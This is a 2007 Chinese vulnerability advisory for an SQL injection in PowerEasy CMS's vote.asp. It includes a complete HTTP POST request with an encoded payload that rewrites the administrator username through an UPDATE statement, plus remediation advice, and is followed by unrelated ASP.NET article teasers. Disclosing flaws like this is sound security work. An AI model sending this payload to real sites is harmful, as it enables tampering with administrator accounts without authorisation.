2007 10.30动易网站管理系统vote.asp页面存在SQL注入漏洞

测试系统:
        动易(PowerEasy CMS SP6 071030以下版本)

安全综述:
       动易网站管理系统是一个采用 ASP 和 MSSQL 等其他多种数据库构建的高效网站内容管理解决方案产品。

漏洞描述:
    vote.asp调用了动易组件PE_Site.ShowVote,此组件VoteOption参数过滤不严,导致可以进行mssql注入
    但是其语句里面过滤了-- ;等字符,又是一个UPDATE形的注入,有一定的限制。但是其过滤的顺序不对。有导致mssql的注释符号--可以进入语句

测试方法:

POST  Vote.asp HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
    Referer:  http://127.0.0.1/Vote.asp?ID=2&Action=Show
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
    Host: 127.0.0.1
    Content-Length: 160
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: rtime=0; ltime=1191765883073; cnzz_eid=6855133-; AJSTAT_ok_times=2; ViewMode=1; PJBlog2Setting=ViewType=normal; http%3A%2F%2Fkw%2Elyedu%2Ecom%2Ecn=lao=8; style=null; chkRemember=false; ASPSESSIONIDSSRCABTA=JJODPHAACKPHCFNFCKEINALN; VotedID=1

VoteOption=1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D&VoteType=Multi&Action=Vote&ID=2

其中 1%3D1+%75%70%64%61%74%65%20%50%45%5F%41%64%6D%69%6E%20%73%65%74%20%61%64%6D%69%6E%6E%61%6D%65%3D%30%78%36%31%2D%3B%2D解码后为
    1=1+update PE_Admin set adminname=0x61-;-
    他们先过滤了--再过滤; 导致以-;-的形式可以很轻松的把注释符带入语句,执行语句后,成功把管理员的用户名设置为a
解决方案:
        更新动易组件(需要管理员的权限才能更新)。
    不需要投票功能的用户,删除此文件。
    有需要,但是又没有权限更新动易组件(需要管理员的权限才能更新)的用户。请在vote.asp文件自行过滤各个参数。

(0)

相关推荐

  • asp.net实现三层架构的例子

    看了2天的三层架构,其实自己以前也看过这个,可以由于没有使用过,所以对于三层架构也只是知道罢了,昨天看了一下他一些内部的具体架构,三层分别是BLL.WEB.DAL,在web接受用户请求,bll处理业务,dal处理数据库事务,下面是一个简单的例子!这是一个添加新员工的页面: 后台代码如下: usingSystem.Collections; usingSystem.Web; usingSystem.Web.Security; usingSystem.Web.UI; usingSystem.Web.U

  • MVC+EasyUI+三层架构简单权限管理系统

    闲来无事把以前做的一个项目整理了一下,今天拿出来跟大家分享,交流和探讨.希望大家多多指正. 一.项目架构图 其中Entity为模型实体层类库:DAL为数据访问层类库,主要负责数据库操作:BLL为业务逻辑类库,Common为公共帮助类库,WebUI为用户层. 非Web层的所有实体类模板都已在项目中创建好,直接用动软生成就可以了. 二.数据库相关表 数据库文件放在web层的DB目录中 三.功能界面 *整个项目的样式都采用的是easyui自带的bootstrap样式.项目中涉及到的相关js验证规则,都

  • ASP.NET实现学生管理系统

    学生管理系统所需要的具体控件和主要属性: 1.登录窗体 基本控件: label(标签控件) 主要属性:Image(在标签上显示的图像) Text(在标签上显示的文本) TextBox(文本框控件) 主要属性:PasswordChar(指示在作为密码框时,文本框中显示的字符,而不是实际输入的文本) Button(按钮控件) ComboBox(下拉框)属性:SelectedItem:获取当前选定的项 事件:Click(单击控件时发生) private void butStyle_Click(obje

  • ssi框架学习总结(mvc三层架构)

    相信大家对于mvc的三层架构已经灰常熟悉了,在这就不细讲了,个人感觉ssi的框架结构还是比较典型的mvc三层架构,还是比较容易上手的.关于这块的入门我想特别感谢下FrankHui童鞋,在他的帮助下,我才能比较快滴熟悉了这个架构,对我学习ssi的框架还是很有帮助滴.ssi的框架主要是由struts2,spring以及ibatis组成,他们负责各层之间的交互与协作,从而实现整个web端的功能实现与整合.Struts目前主要负责数据传递和控制方面,spring则依靠其强大的依赖注入技术实现了类似bea

  • 如何使用AngularJs打造权限管理系统【简易型】

    一.引言 本文将介绍如何把AngularJs应用到实际项目中.本篇文章将使用AngularJS来打造一个简易的权限管理系统.下面不多说,直接进入主题. 二.整体架构设计介绍 首先看下整个项目的架构设计图: 从上图可以看出整个项目的一个整体结构,接下来,我来详细介绍了项目的整体架构: 采用Asp.net Web API来实现REST 服务.这样的实现方式,已达到后端服务的公用.分别部署和更好地扩展.Web层依赖应用服务接口,并且使用Castle Windsor实现依赖注入. 显示层(用户UI) 显

  • ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统之前端页面框架构建源码分享

    开始,我们有了一系列的解决方案,我们将动手搭建新系统吧. 用户的体验已经需要越来越注重,这次我们是左右分栏,左边是系统菜单,右边是一个以tabs页组成的页面集合,每一个tab都可以单独刷新和关闭,因为他们会是一个iframe 工欲善其事必先利其器.需要用到以下工具. Visual Studio 2012 您可以安装MVC4 for vs2010用VS2010来开发,但是貌似你将不能使用EF5.0将会是EF4.4版本,但这没有多大的关系. MVC4将挂载在.NET Framework4.5上. 好

  • ASP.NET创建三层架构图解详细教程

    1.新建项目 2.创建Visual Studio解决方案 3.再创建项目 4.选择类库类型 5.依次创建bll(业务逻辑层),dal(数据访问层)和model(模型层也可以叫实体层) 6.添加一个网站 7.选择相应的类型 8.修改名称 9.设为启动项目 10.结构如下 11. 生成model 12.在dal中引用model 13.选择model引用 14.看一下 15.dal还可以引用其他类库,如DBUtility 16.数据库帮助类库 17.model不引用任何类库 18.底层类库在上层类库中

  • ASP.NET餐饮管理系统制作代码分享

    页面介绍展示: 以上是餐饮管理系统制作图片介绍,接下来是代码部分. menu.aspx  <%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" CodeFile="menu.aspx.cs" Inherits="menu" Title="无标题页" %> <

  • Asp.net 在三层架构中事务的使用实例代码

    接触3层也有一段时间了,了解水平一般,前段时间在想在三层中怎么使用事务呢,放在哪呢?Sqlherper ? DAL? BLL?.然后我就疯狂的百度,好几次都是未果(因为做的都是小项目,不用事务也关系不大),今天我再次查时,好好的看了csdn上的以讨论,http://topic.csdn.net/u/20091101/19/f21697d7-8f0c-4eb3-8e59-d0fe2f0b04b0.html,结合前辈和高手们的意见,自己改了一个出来.我的想法是将事务逻辑写在业务逻辑层,数据库的处理还

  • ASP.NET网站管理系统退出 清除浏览器缓存,Session的代码

    1.在系统登陆成功时记录登陆的用户名.密码等信息(登陆功能的部分代码) 复制代码 代码如下: Session["id"] = user.id.ToString(); Session["name"] = user.name.ToString(); Session["pwd"] = user.password.ToString(); Session["time"] = user.LoginTime.ToString(); Sess

随机推荐